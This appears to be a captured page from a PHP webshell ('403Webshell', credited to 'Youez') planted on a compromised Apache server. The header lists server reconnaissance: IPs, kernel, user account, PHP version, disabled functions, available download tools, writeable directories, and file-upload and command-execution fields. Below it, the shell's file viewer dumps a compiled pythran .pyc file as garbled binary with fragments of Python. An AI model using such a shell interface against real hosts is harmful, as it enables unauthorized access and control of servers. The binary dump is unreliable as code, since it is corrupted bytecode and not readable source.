403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/pythran/analyses/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/pythran/analyses/__pycache__/imported_ids.cpython-311.pyc
�

cR�a�
��^�dZddlmZddlmZddlmZddlmZ	ddl
ZGd�de��ZdS)z5 ImportedIds gathers identifiers imported by a node. �)�Globals)�Locals)�NodeAnalysisNc���eZdZdZ�fd�Zd�Zd�Zd�ZeZeZ	eZ
eZd�Zd�Z
d�Zd	�Zd
�Zd�ZeZd�Zd
�Z�fd�Z�fd�Z�xZS)�ImportedIdsz9Gather ids referenced by a node and not declared locally.c����t��|_t��|_d|_d|_tt|���tt��dS)NF)
�set�result�current_locals�is_list�in_augassign�superr�__init__rr)�self�	__class__s ��?/usr/lib/python3/dist-packages/pythran/analyses/imported_ids.pyrzImportedIds.__init__sO����e�e���!�e�e������!���
�k�4� � �)�)�'�6�:�:�:�:�:�c��t|jtj��r(|js!|j�|j��dS|j|jvr/|j|jvr#|j	�|j��dSdSdS�N)
�
isinstance�ctx�ast�Storer
r�add�id�visible_globalsr
�r�nodes  r�
visit_NamezImportedIds.visit_Names����d�h��	�*�*�	%�4�3D�	%���#�#�D�G�,�,�,�,�,��g�T�1�1�1��g�T�0�0�0��K�O�O�D�G�$�$�$�$�$�2�1�0�0rc��|j�|j��|j���}|j�d�|jjD����|jD]}|�|���||_dS)Nc3�$K�|]}|jV��dSr�r��.0�args  r�	<genexpr>z0ImportedIds.visit_FunctionDef.<locals>.<genexpr> �$����"D�"D�c�3�6�"D�"D�"D�"D�"D�"Dr)rr�name�copy�update�args�body�visit)rrr�stmts    r�visit_FunctionDefzImportedIds.visit_FunctionDefs��������	�*�*�*��,�1�1�3�3����"�"�"D�"D�T�Y�^�"D�"D�"D�D�D�D��I�	�	�D��J�J�t�����,����rc��|j���}|jD]}|�|���|�|j��||_dSr)rr)�
generatorsr-�elt)rrr�	generators    r�
visit_AnyCompzImportedIds.visit_AnyComp%s^���,�1�1�3�3����	"�	"�I��J�J�y�!�!�!�!��
�
�4�8����,����rc��tj||��|�|j��|jD]}|�|���dSr)�mdr-�value�targets)rr�targets   r�visit_AssignzImportedIds.visit_Assign1sZ��	���t�����
�
�4�:�����l�	�	�F��J�J�v�����	�	rc�L�d|_|�|��d|_dS)NTF)r
�
generic_visitrs  r�visit_AugAssignzImportedIds.visit_AugAssign9s,�� ������4� � � �!����rc���|j���}|j�d�|jjD����|�|j��||_dS)Nc3�$K�|]}|jV��dSrr"r#s  rr&z+ImportedIds.visit_Lambda.<locals>.<genexpr>@r'r)rr)r*r+r-r,)rrrs   r�visit_LambdazImportedIds.visit_Lambda>sb���,�1�1�3�3����"�"�"D�"D�T�Y�^�"D�"D�"D�D�D�D��
�
�4�9����,����rc�X�|j�d�|jD����dS)Nc3�$K�|]}|jV��dSr�r(�r$�aliass  rr&z+ImportedIds.visit_Import.<locals>.<genexpr>E�$����"F�"F�%�5�:�"F�"F�"F�"F�"F�"Fr�rr*�namesrs  r�visit_ImportzImportedIds.visit_ImportD�0����"�"�"F�"F�4�:�"F�"F�"F�F�F�F�F�Frc�J�|jD]�}t|tj��r |j�|j���<t|tj��r|�|��t|tj	��r|�
|����dSr)�eltsrr�Namerrr�	Subscriptr-�Tuple�visit_StoredTuple)rrr2s   rrPzImportedIds.visit_StoredTupleGs����9�	-�	-�C��#�s�x�(�(�
��#�'�'���/�/�/���#�s�}�-�-�
 ��
�
�3�����#�s�y�)�)�
-��&�&�t�,�,�,��	-�	-rc��t|jtj��r|�|��dS|�|��dSr)rrr�Loadr<rPrs  r�visit_TuplezImportedIds.visit_TupleQsL���d�h���)�)�	)����t�$�$�$�$�$��"�"�4�(�(�(�(�(rc�X�|j�d�|jD����dS)Nc3�$K�|]}|jV��dSrrCrDs  rr&z/ImportedIds.visit_ImportFrom.<locals>.<genexpr>ZrFrrGrs  r�visit_ImportFromzImportedIds.visit_ImportFromYrJrc��dSr�rs  r�visit_AttributezImportedIds.visit_Attribute\s���rc����tt|���|��|jr
|jd}t|j��|j|z
|_dS)Nr)	rr�preparerr,r	�globals�localsr�rrrs  �rr[zImportedIds.prepare_sZ���
�k�4� � �(�(��.�.�.��<�	 ��9�Q�<�D�"�4�<�0�0�4�;�t�3D�D����rc����t|t��r0d|_tjtjdd��|g��}t
t|���|��S)NT�)	r�listrr�If�Constantrr�runr^s  �rrdzImportedIds.runesY����d�D�!�!�	;��D�L��6�#�,�q�$�/�/��r�:�:�D��[�$�'�'�+�+�D�1�1�1r)�__name__�
__module__�__qualname__�__doc__rrr/r4�visit_ListComp�
visit_SetComp�visit_DictComp�visit_GeneratorExpr:r=r@rIrPrS�
visit_ListrVrYr[rd�
__classcell__)rs@rrrs>�������C�C�;�;�;�;�;�%�%�%�-�-�-�-�-�-�#�N�!�M�"�N�&�����"�"�"�
-�-�-�G�G�G�-�-�-�)�)�)��J�G�G�G�
�
�
�E�E�E�E�E�2�2�2�2�2�2�2�2�2rr)
rh�!pythran.analyses.globals_analysisr� pythran.analyses.locals_analysisr�pythran.passmanagerr�pythran.metadata�metadatar6�gastrrrXrr�<module>rus���;�;�5�5�5�5�5�5�3�3�3�3�3�3�,�,�,�,�,�,�����������^2�^2�^2�^2�^2�,�^2�^2�^2�^2�^2r

Youez - 2016 - github.com/yon3zu
LinuXploit